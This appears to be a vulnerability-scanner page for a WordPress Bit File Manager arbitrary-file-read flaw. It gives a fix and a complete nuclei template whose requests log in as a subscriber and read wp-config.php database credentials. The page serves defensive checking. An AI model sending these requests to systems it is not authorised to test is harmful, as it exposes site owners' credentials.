WordPress Bit File Manager < 6.9.1 - Arbitrary File Read

highseverity

8.8CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

The Bit File Manager WordPress plugin before 6.9.1 does not properly authorise its file management commands, allowing any authenticated user, such as a subscriber, to read and delete arbitrary files under the WordPress installation directory.

Impact

Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.

Fix

Update to version 6.9.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin-ajax.php?action=rest-nonce
Send: POST /wp-admin/admin-ajax.php?action=bitapps_fm_connector&cmd=file&target=l1_d3AtY29uZmlnLnBocA&nonce={{nonce}}
Positive when: status_code == 200 and contains(content_type, "text/x-php") and contains_all(body, "DB_NAME", "DB_PASSWORD")

Run it with nuclei: nuclei -id CVE-2026-17540 -u <target>

The full check

id: CVE-2026-17540

info:
  name: WordPress Bit File Manager < 6.9.1 - Arbitrary File Read
  author: anirbala98
  severity: high
  description: |
    The Bit File Manager WordPress plugin before 6.9.1 does not properly authorise its file management commands, allowing any authenticated user, such as a subscriber, to read and delete arbitrary files under the WordPress installation directory.
  impact: |
    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
  remediation: |
    Update to version 6.9.1 or later.
  reference:
    - https://wpscan.com/vulnerability/096cb7df-26a5-4f5f-bbec-725e063a2b75/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17540
    - https://wordpress.org/plugins/file-manager/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-17540
    epss-score: 0.01827
    epss-percentile: 0.79005
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: bit-apps
    product: file-manager
    framework: wordpress
    fofa-query: body="/wp-content/plugins/file-manager/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '([a-f0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=bitapps_fm_connector&cmd=file&target=l1_d3AtY29uZmlnLnBocA&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        x=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/x-php")'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from